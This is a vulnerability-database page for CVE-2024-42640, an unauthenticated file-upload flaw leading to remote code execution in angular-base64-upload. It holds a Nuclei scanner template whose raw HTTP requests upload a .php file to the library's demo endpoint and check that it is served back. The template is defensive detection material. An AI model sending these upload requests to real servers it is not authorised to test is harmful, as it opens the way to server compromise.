Lucene search
+L

Angular-Base64-Upload - Remote Code Execution

🗓️ 22 Oct 2026 02:06:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 187 Views

Angular-Base64-Upload Vulnerability - Remote Code Execution via Unauthenticated Uploa

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2024-42640
9 Oct 202414:35
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2024-42640
19 Nov 202423:54
–githubexploit
bdu_fstec
BDU FSTEC
Base64 Upload Code Execution
14 Oct 202400:00
–bdu_fstec
circl
Circl
CVE-2024-42640
11 Oct 202421:43
–circl
cnnvd
CNNVD
Angular-Base64-Upload security vulnerability
11 Oct 202400:00
–cnnvd
cve
CVE
CVE-2024-42640
11 Oct 202400:00
–cve
cvelist
Cvelist
CVE-2024-42640
11 Oct 202400:00
–cvelist
exploitdb
Exploit DB
Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE)
4 Apr 202500:00
–exploitdb
exploitdb
Exploit DB
Angular-Base64-Upload Library 0.1.21 - Unauthenticated Remote Code Execution (RCE)
17 Apr 202500:00
–exploitdb
github
Github Security Blog
angular-base64-upload vulnerable to unauthenticated remote code execution
11 Oct 202418:32
–github
Rows per page
id: CVE-2024-42640

info:
  name: Angular-Base64-Upload - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    angular-base64-upload prior to v0.1.21 is vulnerable to unauthenticated remote code execution via demo/server.php. Exploiting this vulnerability allows an attacker to upload arbitrary content to the server, which can subsequently be accessed through demo/uploads. This leads to the execution of previously uploaded content and enables the attacker to achieve code execution on the server. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
  impact: |
    Unauthenticated attackers can upload arbitrary files and achieve remote code execution on the server.
  remediation: |
    Upgrade angular-base64-upload to version 0.1.21 or discontinue use as the product is no longer supported.
  reference:
    - https://github.com/rvizx/CVE-2024-42640
    - https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html
    - https://github.com/adonespitogo/angular-base64-upload
    - https://nvd.nist.gov/vuln/detail/CVE-2024-42640
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 10
    cve-id: CVE-2024-42640
    cwe-id: CWE-94
    epss-score: 0.39951
    epss-percentile: 0.98625
  metadata:
    max-request: 4
  tags: cve,cve2024,angular,rce,vkev,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(12))}}"
  num: "{{rand_int(1000000,9999999)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /node_modules/angular-base64-upload/demo/server.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"base64": "{{base64(num)}}", "filename": "{{filename}}.php"}

      - |
        POST /bower_components/angular-base64-upload/demo/server.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"base64": "{{base64(num)}}", "filename": "{{filename}}.php"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1,"uploads/{{filename}}.php") || contains(body_2,"uploads/{{filename}}.php") '
          - 'status_code_1 == 200 || status_code_2 == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /node_modules/angular-base64-upload/demo/uploads/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /bower_components/angular-base64-upload/demo/uploads/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "{{num}}") || contains(body_2, "{{num}}")'
          - 'status_code_1 == 200 || status_code_2 == 200'
        condition: and
# digest: 4b0a00483046022100eadb7a72461972df4d69d2f503f0e5fd55561c93d866de4bb8f6261f181c3dc7022100b62b2f3111acf9604370fddd1ab7c4402aced770b7744d3fcff779f7e34fa45e:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
9Critical risk
Vulners AI Score9
CVSS 3.19.8
EPSS0.40214
SSVC
187